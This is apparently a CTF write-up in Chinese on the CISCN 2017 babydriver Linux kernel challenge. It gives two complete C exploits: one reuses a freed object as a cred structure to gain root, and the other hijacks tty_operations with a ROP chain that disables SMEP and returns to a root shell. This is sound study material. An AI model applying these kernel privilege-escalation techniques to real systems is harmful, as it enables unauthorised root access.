手腕疼死了,这几天啥都没干成……今天终于好点了
打算先做题,等对内存分配机制有点实感再细看源码
从例题说起
例题:CISCN - 2017 - babydriver 这道题开了-enable-kvm,打断点要用hbreak(硬件断点)
覆写cred结构体 思路就是释放的0xa8的堆块会被重新申请用作cred结构体,这样就能利用UAF将cred结构体的uid、guid改成0
这种方法在较新版本的kernel中已经不可行了,因为新版本在创建cred_jar时设置了SLAB_ACCOUNT标志,当CONFIG_MEMCG_KMEM=y(默认)cred_jar不会和相同大小的kmalloc_192合并
1 2 3 4 5 6 7 void __init cred_init (void ) { cred_jar = kmem_cache_create("cred_jar" , sizeof (struct cred), 0 , SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL ); }
1 2 3 4 5 6 7 void __init cred_init (void ) { cred_jar = kmem_cache_create("cred_jar" , sizeof (struct cred), 0 , SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL ); }
可以通过cat /proc/slabinfo查看kmem_cache,本机有cred_jar而qemu起的题目是没有的
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include "kernel.h" int main () { int fd1 = open_dev("/dev/babydev" ); if (fd1 < 0 ) fail_print("Open Fail!" ); int fd2 = open_dev("/dev/babydev" ); if (fd2 < 0 ) fail_print("Open Fail!" ); ioctl(fd1, 0x10001 , 0xa8 ); close(fd1); int pid = fork(); if (pid < 0 ) fail_print("Fork Fail!" ); else if (pid == 0 ) { char buf[30 ] = {0 }; write(fd2, buf, 28 ); if (getuid() == 0 ) { success_print("Get Root Successfully!" ); system("/bin/sh" ); return 0 ; } else fail_print("Get Root Fail!" ); } else wait(NULL ); return 0 ; }
Kernel ROP 这种思路类似于FSOP(都是打结构体的跳转表)
劫持/dev/ptmx伪终端的的tty_struct结构体
1 2 3 4 5 6 7 8 9 10 struct tty_struct { int magic; struct kref kref ; struct device *dev ; struct tty_driver *driver ; const struct tty_operations *ops ; int index; …… }
tty_operations跳转表长这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 struct tty_operations { struct tty_struct * (*lookup )(struct tty_driver *driver , struct inode *inode , int idx ); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); …… }
由于没有开启SMAP保护,内核态可以访问用户空间数据,所以可以在用户空间布置ROP链和fake tty_operarions,这里劫持write函数的指针,使用一个gadget可以使eax和esp的高4字节为0并交换两者的值
1 0xffffffff8100008a : xchg eax, esp ; ret
调用write函数的指令如下,此时rax是fake_operations的地址,是可控的,使高4字节为0时的地址还在用户空间,可以利用mmap获得这块内存
1 .text:FFFFFFFF814DC0C3 call qword ptr [rax+38 h]
这样就完成了栈迁移,在mmap的区域布置提权的ROP链就行
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include "kernel.h" #define XCHG_EAX_ESP_RET 0xffffffff8100008a #define POP_RDI_RET 0xffffffff810d238d #define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80 #define SWAPGS_POP_RBP_RET 0xffffffff81063694 #define IRETQ_RET 0xffffffff814e35ef int main () { save_status(); commit_creds = 0xffffffff810a1420 ; prepare_kernel_cred = 0xffffffff810a1810 ; int fd1 = open_dev("/dev/babydev" ), fd2 = open_dev("/dev/babydev" ); ioctl(fd1, 0x10001 , 0x2e0 ); close(fd1); int tty_fd = open_dev("/dev/ptmx" ); size_t fake_ops[8 ] = {0 , 0 , 0 , 0 , 0 , 0 , 0 , XCHG_EAX_ESP_RET}; size_t fake_stack = (size_t )(&fake_ops) & 0xffffffff ; size_t * fake_stack_ptr = mmap((size_t )(fake_stack & 0xfffffffffffff000 ), 0x10000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1 , 0 ); if (!fake_stack_ptr) fail_print("Mmap Fail!" ); fake_stack_ptr = (size_t )fake_stack; int i = 0 ; fake_stack_ptr[i++] = POP_RDI_RET; fake_stack_ptr[i++] = 0x6f0 ; fake_stack_ptr[i++] = MOV_CR4_RDI_POP_RBP_RET; fake_stack_ptr[i++] = 0 ; fake_stack_ptr[i++] = (size_t )get_root_privilige; fake_stack_ptr[i++] = SWAPGS_POP_RBP_RET; fake_stack_ptr[i++] = 0 ; fake_stack_ptr[i++] = IRETQ_RET; fake_stack_ptr[i++] = (size_t )get_root_shell; fake_stack_ptr[i++] = user_cs; fake_stack_ptr[i++] = user_rflags; fake_stack_ptr[i++] = user_sp + 8 ; fake_stack_ptr[i++] = user_ss; int tty_cnt = 4 + 4 + 8 + 8 ; char buf[0x100 ]; read(fd2, buf, tty_cnt); *(size_t *)(&buf[tty_cnt]) = &fake_ops; write(fd2, buf, tty_cnt + 8 ); int buf1[] = {0 }; write(tty_fd, buf1, 8 ); return 0 ; }